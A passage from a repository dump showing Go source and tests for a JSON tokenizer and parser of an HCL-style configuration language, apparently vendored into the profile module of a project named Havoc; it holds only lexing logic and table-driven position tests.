t.Fatalf(\"got nil part Body; want actual body\")\n    }\n\n    content, diags := file.Body.Content(&hcl.BodySchema{\n        Blocks: []hcl.BlockHeaderSchema{{Type: \"foo\"}},\n    })\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on decode; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    attrs, diags := content.Blocks[0].Body.JustAttributes()\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on decode; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    srcRange := attrs[\"bar\"].Expr.Range()\n\n    partAttrs, diags := partFile.Body.JustAttributes()\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on decode; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    partRange := partAttrs[\"bar\"].Expr.Range()\n\n    if srcRange.String() != partRange.String() {\n        t.Errorf(\"The two ranges did not match: src=%s, part=%s\", srcRange, partRange)\n    }\n}\n\nfunc TestParseExpression(t *testing.T) {\n    tests := []struct {\n        Input string\n        Want  string\n    }{\n        {\n            `\"hello\"`,\n            `cty.StringVal(\"hello\")`,\n        },\n        {\n            `\"hello ${noun}\"`,\n            `cty.StringVal(\"hello world\")`,\n        },\n        {\n            \"true\",\n            \"cty.True\",\n        },\n        {\n            \"false\",\n            \"cty.False\",\n        },\n        {\n            \"1\",\n            \"cty.NumberIntVal(1)\",\n        },\n        {\n            \"{}\",\n            \"cty.EmptyObjectVal\",\n        },\n        {\n            `{\"foo\":\"bar\",\"baz\":1}`,\n            `cty.ObjectVal(map[string]cty.Value{\"baz\":cty.NumberIntVal(1), \"foo\":cty.StringVal(\"bar\")})`,\n        },\n        {\n            \"[]\",\n            \"cty.EmptyTupleVal\",\n        },\n        {\n            `[\"1\",2,3]`,\n            `cty.TupleVal([]cty.Value{cty.StringVal(\"1\"), cty.NumberIntVal(2), cty.NumberIntVal(3)})`,\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.Input, func(t *testing.T) {\n            expr, diags := ParseExpression([]byte(test.Input), \"\")\n            if diags.HasErrors() {\n                t.Errorf(\"got %d diagnostics; want 0\", len(diags))\n                for _, d := range diags {\n                    t.Logf(\"  - %s\", d.Error())\n                }\n            }\n\n            value, diags := expr.Value(&hcl.EvalContext{\n                Variables: map[string]cty.Value{\n                    \"noun\": cty.StringVal(\"world\"),\n                },\n            })\n            if diags.HasErrors() {\n                t.Errorf(\"got %d diagnostics on decode value; want 0\", len(diags))\n                for _, d := range diags {\n                    t.Logf(\"  - %s\", d.Error())\n                }\n            }\n            got := fmt.Sprintf(\"%#v\", value)\n\n            if got != test.Want {\n                t.Errorf(\"got %s, but want %s\", got, test.Want)\n            }\n        })\n    }\n}\n\nfunc TestParseExpression_malformed(t *testing.T) {\n    src := `invalid`\n    expr, diags := ParseExpression([]byte(src), \"\")\n    if got, want := len(diags), 1; got != want {\n        t.Errorf(\"got %d diagnostics; want %d\", got, want)\n    }\n    if err, want := diags.Error(), `Invalid JSON keyword`; !strings.Contains(err, want) {\n        t.Errorf(\"diags are %q, but should contain %q\", err, want)\n    }\n    if expr == nil {\n        t.Errorf(\"got nil Expression; want actual expression\")\n    }\n}\n\nfunc TestParseExpressionWithStartPos(t *testing.T) {\n    src := `{\n  \"foo\": \"bar\"\n}`\n    part := `\"bar\"`\n\n    file, diags := Parse([]byte(src), \"\")\n    partExpr, partDiags := ParseExpressionWithStartPos([]byte(part), \"\", hcl.Pos{Byte: 0, Line: 2, Column: 10})\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on parse src; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    if len(partDiags) != 0 {\n        t.Errorf(\"got %d diagnostics on parse part src; want 0\", len(partDiags))\n        for _, diag := range partDiags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n\n    if file == nil {\n        t.Errorf(\"got nil File; want actual file\")\n    }\n    if file.Body == nil {\n        t.Errorf(\"got nil Body: want actual body\")\n    }\n    if partExpr == nil {\n        t.Errorf(\"got nil Expression; want actual expression\")\n    }\n\n    content, diags := file.Body.Content(&hcl.BodySchema{\n        Attributes: []hcl.AttributeSchema{{Name: \"foo\"}},\n    })\n    if len(diags) != 0 {\n        t.Errorf(\"got %d diagnostics on decode; want 0\", len(diags))\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag.Error())\n        }\n    }\n    expr := content.Attributes[\"foo\"].Expr\n\n    if expr.Range().String() != partExpr.Range().String() {\n        t.Errorf(\"The two ranges did not match: src=%s, part=%s\", expr.Range(), partExpr.Range())\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/scanner.go",
    "content": "package json\n\nimport (\n    \"fmt\"\n\n    \"github.com/apparentlymart/go-textseg/v13/textseg\"\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n//go:generate stringer -type tokenType scanner.go\ntype tokenType rune\n\nconst (\n    tokenBraceO  tokenType = '{'\n    tokenBraceC  tokenType = '}'\n    tokenBrackO  tokenType = '['\n    tokenBrackC  tokenType = ']'\n    tokenComma   tokenType = ','\n    tokenColon   tokenType = ':'\n    tokenKeyword tokenType = 'K'\n    tokenString  tokenType = 'S'\n    tokenNumber  tokenType = 'N'\n    tokenEOF     tokenType = '␄'\n    tokenInvalid tokenType = 0\n    tokenEquals  tokenType = '=' // used only for reminding the user of JSON syntax\n)\n\ntype token struct {\n    Type  tokenType\n    Bytes []byte\n    Range hcl.Range\n}\n\n// scan returns the primary tokens for the given JSON buffer in sequence.\n//\n// The responsibility of this pass is to just mark the slices of the buffer\n// as being of various types. It is lax in how it interprets the multi-byte\n// token types keyword, string and number, preferring to capture erroneous\n// extra bytes that we presume the user intended to be part of the token\n// so that we can generate more helpful diagnostics in the parser.\nfunc scan(buf []byte, start pos) []token {\n    var tokens []token\n    p := start\n    for {\n        if len(buf) == 0 {\n            tokens = append(tokens, token{\n                Type:  tokenEOF,\n                Bytes: nil,\n                Range: posRange(p, p),\n            })\n            return tokens\n        }\n\n        buf, p = skipWhitespace(buf, p)\n\n        if len(buf) == 0 {\n            tokens = append(tokens, token{\n                Type:  tokenEOF,\n                Bytes: nil,\n                Range: posRange(p, p),\n            })\n            return tokens\n        }\n\n        start = p\n\n        first := buf[0]\n        switch {\n        case first == '{' || first == '}' || first == '[' || first == ']' || first == ',' || first == ':' || first == '=':\n            p.Pos.Column++\n            p.Pos.Byte++\n            tokens = append(tokens, token{\n                Type:  tokenType(first),\n                Bytes: buf[0:1],\n                Range: posRange(start, p),\n            })\n            buf = buf[1:]\n        case first == '\"':\n            var tokBuf []byte\n            tokBuf, buf, p = scanString(buf, p)\n            tokens = append(tokens, token{\n                Type:  tokenString,\n                Bytes: tokBuf,\n                Range: posRange(start, p),\n            })\n        case byteCanStartNumber(first):\n            var tokBuf []byte\n            tokBuf, buf, p = scanNumber(buf, p)\n            tokens = append(tokens, token{\n                Type:  tokenNumber,\n                Bytes: tokBuf,\n                Range: posRange(start, p),\n            })\n        case byteCanStartKeyword(first):\n            var tokBuf []byte\n            tokBuf, buf, p = scanKeyword(buf, p)\n            tokens = append(tokens, token{\n                Type:  tokenKeyword,\n                Bytes: tokBuf,\n                Range: posRange(start, p),\n            })\n        default:\n            tokens = append(tokens, token{\n                Type:  tokenInvalid,\n                Bytes: buf[:1],\n                Range: start.Range(1, 1),\n            })\n            // If we've encountered an invalid then we might as well stop\n            // scanning since the parser won't proceed beyond this point.\n            // We insert a synthetic EOF marker here to match the expectations\n            // of consumers of this data structure.\n            p.Pos.Column++\n            p.Pos.Byte++\n            tokens = append(tokens, token{\n                Type:  tokenEOF,\n                Bytes: nil,\n                Range: posRange(p, p),\n            })\n            return tokens\n        }\n    }\n}\n\nfunc byteCanStartNumber(b byte) bool {\n    switch b {\n    // We are slightly more tolerant than JSON requires here since we\n    // expect the parser will make a stricter interpretation of the\n    // number bytes, but we specifically don't allow 'e' or 'E' here\n    // since we want the scanner to treat that as the start of an\n    // invalid keyword instead, to produce more intelligible error messages.\n    case '-', '+', '.', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':\n        return true\n    default:\n        return false\n    }\n}\n\nfunc scanNumber(buf []byte, start pos) ([]byte, []byte, pos) {\n    // The scanner doesn't check that the sequence of digit-ish bytes is\n    // in a valid order. The parser must do this when decoding a number\n    // token.\n    var i int\n    p := start\nByte:\n    for i = 0; i < len(buf); i++ {\n        switch buf[i] {\n        case '-', '+', '.', 'e', 'E', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':\n            p.Pos.Byte++\n            p.Pos.Column++\n        default:\n            break Byte\n        }\n    }\n    return buf[:i], buf[i:], p\n}\n\nfunc byteCanStartKeyword(b byte) bool {\n    switch {\n    // We allow any sequence of alphabetical characters here, even though\n    // JSON is more constrained, so that we can collect what we presume\n    // the user intended to be a single keyword and then check its validity\n    // in the parser, where we can generate better diagnostics.\n    // So e.g. we want to be able to say:\n    //   unrecognized keyword \"True\". Did you mean \"true\"?\n    case isAlphabetical(b):\n        return true\n    default:\n        return false\n    }\n}\n\nfunc scanKeyword(buf []byte, start pos) ([]byte, []byte, pos) {\n    var i int\n    p := start\nByte:\n    for i = 0; i < len(buf); i++ {\n        b := buf[i]\n        switch {\n        case isAlphabetical(b) || b == '_':\n            p.Pos.Byte++\n            p.Pos.Column++\n        default:\n            break Byte\n        }\n    }\n    return buf[:i], buf[i:], p\n}\n\nfunc scanString(buf []byte, start pos) ([]byte, []byte, pos) {\n    // The scanner doesn't validate correct use of escapes, etc. It pays\n    // attention to escapes only for the purpose of identifying the closing\n    // quote character. It's the parser's responsibility to do proper\n    // validation.\n    //\n    // The scanner also doesn't specifically detect unterminated string\n    // literals, though they can be identified in the parser by checking if\n    // the final byte in a string token is the double-quote character.\n\n    // Skip the opening quote symbol\n    i := 1\n    p := start\n    p.Pos.Byte++\n    p.Pos.Column++\n    escaping := false\nByte:\n    for i < len(buf) {\n        b := buf[i]\n\n        switch {\n        case b == '\\\\':\n            escaping = !escaping\n            p.Pos.Byte++\n            p.Pos.Column++\n            i++\n        case b == '\"':\n            p.Pos.Byte++\n            p.Pos.Column++\n            i++\n            if !escaping {\n                break Byte\n            }\n            escaping = false\n        case b < 32:\n            break Byte\n        default:\n            // Advance by one grapheme cluster, so that we consider each\n            // grapheme to be a \"column\".\n            // Ignoring error because this scanner cannot produce errors.\n            advance, _, _ := textseg.ScanGraphemeClusters(buf[i:], true)\n\n            p.Pos.Byte += advance\n            p.Pos.Column++\n            i += advance\n\n            escaping = false\n        }\n    }\n    return buf[:i], buf[i:], p\n}\n\nfunc skipWhitespace(buf []byte, start pos) ([]byte, pos) {\n    var i int\n    p := start\nByte:\n    for i = 0; i < len(buf); i++ {\n        switch buf[i] {\n        case ' ':\n            p.Pos.Byte++\n            p.Pos.Column++\n        case '\\n':\n            p.Pos.Byte++\n            p.Pos.Column = 1\n            p.Pos.Line++\n        case '\\r':\n            // For the purpose of line/column counting we consider a\n            // carriage return to take up no space, assuming that it will\n            // be paired up with a newline (on Windows, for example) that\n            // will account for both of them.\n            p.Pos.Byte++\n        case '\\t':\n            // We arbitrarily count a tab as if it were two spaces, because\n            // we need to choose _some_ number here. This means any system\n            // that renders code on-screen with markers must itself treat\n            // tabs as a pair of spaces for rendering purposes, or instead\n            // use the byte offset and back into its own column position.\n            p.Pos.Byte++\n            p.Pos.Column += 2\n        default:\n            break Byte\n        }\n    }\n    return buf[i:], p\n}\n\ntype pos struct {\n    Filename string\n    Pos      hcl.Pos\n}\n\nfunc (p *pos) Range(byteLen, charLen int) hcl.Range {\n    start := p.Pos\n    end := p.Pos\n    end.Byte += byteLen\n    end.Column += charLen\n    return hcl.Range{\n        Filename: p.Filename,\n        Start:    start,\n        End:      end,\n    }\n}\n\nfunc posRange(start, end pos) hcl.Range {\n    return hcl.Range{\n        Filename: start.Filename,\n        Start:    start.Pos,\n        End:      end.Pos,\n    }\n}\n\nfunc (t token) GoString() string {\n    return fmt.Sprintf(\"json.token{json.%s, []byte(%q), %#v}\", t.Type, t.Bytes, t.Range)\n}\n\nfunc isAlphabetical(b byte) bool {\n    return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/scanner_test.go",
    "content": "package json\n\nimport (\n    \"bytes\"\n    \"fmt\"\n    \"reflect\"\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\nfunc TestScan(t *testing.T) {\n    tests := []struct {\n        Input string\n        Want  []token\n    }{\n        {\n            ``,\n            []token{\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `   `,\n            []token{\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                        End: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `{}`,\n            []token{\n                {\n                    Type:  tokenBraceO,\n                    Bytes: []byte(`{`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenBraceC,\n                    Bytes: []byte(`}`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `][`,\n            []token{\n                {\n                    Type:  tokenBrackC,\n                    Bytes: []byte(`]`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenBrackO,\n                    Bytes: []byte(`[`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `:,`,\n            []token{\n                {\n                    Type:  tokenColon,\n                    Bytes: []byte(`:`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenComma,\n                    Bytes: []byte(`,`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `1`,\n            []token{\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`1`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `  1`,\n            []token{\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`1`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                        End: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                        End: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `  12`,\n            []token{\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`12`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                        End: hcl.Pos{\n                            Byte:   4,\n                            Line:   1,\n                            Column: 5,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   4,\n                            Line:   1,\n                            Column: 5,\n                        },\n                        End: hcl.Pos{\n                            Byte:   4,\n                            Line:   1,\n                            Column: 5,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `1 2`,\n            []token{\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`1`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`2`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                        End: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                        End: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"\\n1\\n 2\",\n            []token{\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`1`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   1,\n                            Line:   2,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   2,\n                            Column: 2,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`2`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   4,\n                            Line:   3,\n                            Column: 2,\n                        },\n                        End: hcl.Pos{\n                            Byte:   5,\n                            Line:   3,\n                            Column: 3,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   5,\n                            Line:   3,\n                            Column: 3,\n                        },\n                        End: hcl.Pos{\n                            Byte:   5,\n                            Line:   3,\n                            Column: 3,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `-1 2.5`,\n            []token{\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`-1`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`2.5`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   3,\n                            Line:   1,\n                            Column: 4,\n                        },\n                        End: hcl.Pos{\n                            Byte:   6,\n                            Line:   1,\n                            Column: 7,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   6,\n                            Line:   1,\n                            Column: 7,\n                        },\n                        End: hcl.Pos{\n                            Byte:   6,\n                            Line:   1,\n                            Column: 7,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `true`,\n            []token{\n                {\n                    Type:  tokenKeyword,\n                    Bytes: []byte(`true`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   4,\n                            Line:   1,\n                            Column: 5,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   4,\n                            Line:   1,\n                            Column: 5,\n                        },\n                        End: hcl.Pos{\n                            Byte:   4,\n                            Line:   1,\n                            Column: 5,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `[true]`,\n            []token{\n                {\n                    Type:  tokenBrackO,\n                    Bytes: []byte(`[`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenKeyword,\n                    Bytes: []byte(`true`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                        End: hcl.Pos{\n                            Byte:   5,\n                            Line:   1,\n                            Column: 6,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenBrackC,\n                    Bytes: []byte(`]`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   5,\n                            Line:   1,\n                            Column: 6,\n                        },\n                        End: hcl.Pos{\n                            Byte:   6,\n                            Line:   1,\n                            Column: 7,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   6,\n                            Line:   1,\n                            Column: 7,\n                        },\n                        End: hcl.Pos{\n                            Byte:   6,\n                            Line:   1,\n                            Column: 7,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\"\"`,\n            []token{\n                {\n                    Type:  tokenString,\n                    Bytes: []byte(`\"\"`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                        End: hcl.Pos{\n                            Byte:   2,\n                            Line:   1,\n                            Column: 3,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\"hello\"`,\n            []token{\n                {\n                    Type:  tokenString,\n                    Bytes: []byte(`\"hello\"`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   7,\n                            Line:   1,\n                            Column: 8,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   7,\n                            Line:   1,\n                            Column: 8,\n                        },\n                        End: hcl.Pos{\n                            Byte:   7,\n                            Line:   1,\n                            Column: 8,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\"he\\\"llo\"`,\n            []token{\n                {\n                    Type:  tokenString,\n                    Bytes: []byte(`\"he\\\"llo\"`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   9,\n                            Line:   1,\n                            Column: 10,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   9,\n                            Line:   1,\n                            Column: 10,\n                        },\n                        End: hcl.Pos{\n                            Byte:   9,\n                            Line:   1,\n                            Column: 10,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\"hello\\\\\" 1`,\n            []token{\n                {\n                    Type:  tokenString,\n                    Bytes: []byte(`\"hello\\\\\"`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   9,\n                            Line:   1,\n                            Column: 10,\n                        },\n                    },\n                },\n                {\n                    Type:  tokenNumber,\n                    Bytes: []byte(`1`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   10,\n                            Line:   1,\n                            Column: 11,\n                        },\n                        End: hcl.Pos{\n                            Byte:   11,\n                            Line:   1,\n                            Column: 12,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   11,\n                            Line:   1,\n                            Column: 12,\n                        },\n                        End: hcl.Pos{\n                            Byte:   11,\n                            Line:   1,\n                            Column: 12,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\"🇬🇧\"`,\n            []token{\n                {\n                    Type:  tokenString,\n                    Bytes: []byte(`\"🇬🇧\"`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   10,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   10,\n                            Line:   1,\n                            Column: 4,\n                        },\n                        End: hcl.Pos{\n                            Byte:   10,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `\"á́́́́́́́\"`,\n            []token{\n                {\n                    Type:  tokenString,\n                    Bytes: []byte(`\"á́́́́́́́\"`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   19,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   19,\n                            Line:   1,\n                            Column: 4,\n                        },\n                        End: hcl.Pos{\n                            Byte:   19,\n                            Line:   1,\n                            Column: 4,\n                        },\n                    },\n                },\n            },\n        },\n        {\n            `&`,\n            []token{\n                {\n                    Type:  tokenInvalid,\n                    Bytes: []byte(`&`),\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   0,\n                            Line:   1,\n                            Column: 1,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n                {\n                    Type: tokenEOF,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                        End: hcl.Pos{\n                            Byte:   1,\n                            Line:   1,\n                            Column: 2,\n                        },\n                    },\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.Input, func(t *testing.T) {\n            buf := []byte(test.Input)\n            start := pos{\n                Filename: \"\",\n                Pos: hcl.Pos{\n                    Byte:   0,\n                    Line:   1,\n                    Column: 1,\n                },\n            }\n            got := scan(buf, start)\n\n            if !reflect.DeepEqual(got, test.Want) {\n                errMsg := &bytes.Buffer{}\n                errMsg.WriteString(\"wrong result\\ngot:\\n\")\n                if len(got) == 0 {\n                    errMsg.WriteString(\"  (empty slice)\\n\")\n                }\n                for _, tok := range got {\n                    fmt.Fprintf(errMsg, \"  - %#v\\n\", tok)\n                }\n                errMsg.WriteString(\"want:\\n\")\n                if len(test.Want) == 0 {\n                    errMsg.WriteString(\"  (empty slice)\\n\")\n                }\n                for _, tok := range test.Want {\n                    fmt.Fprintf(errMsg, \"  - %#v\\n\", tok)\n                }\n                t.Error(errMsg.String())\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/spec.md",
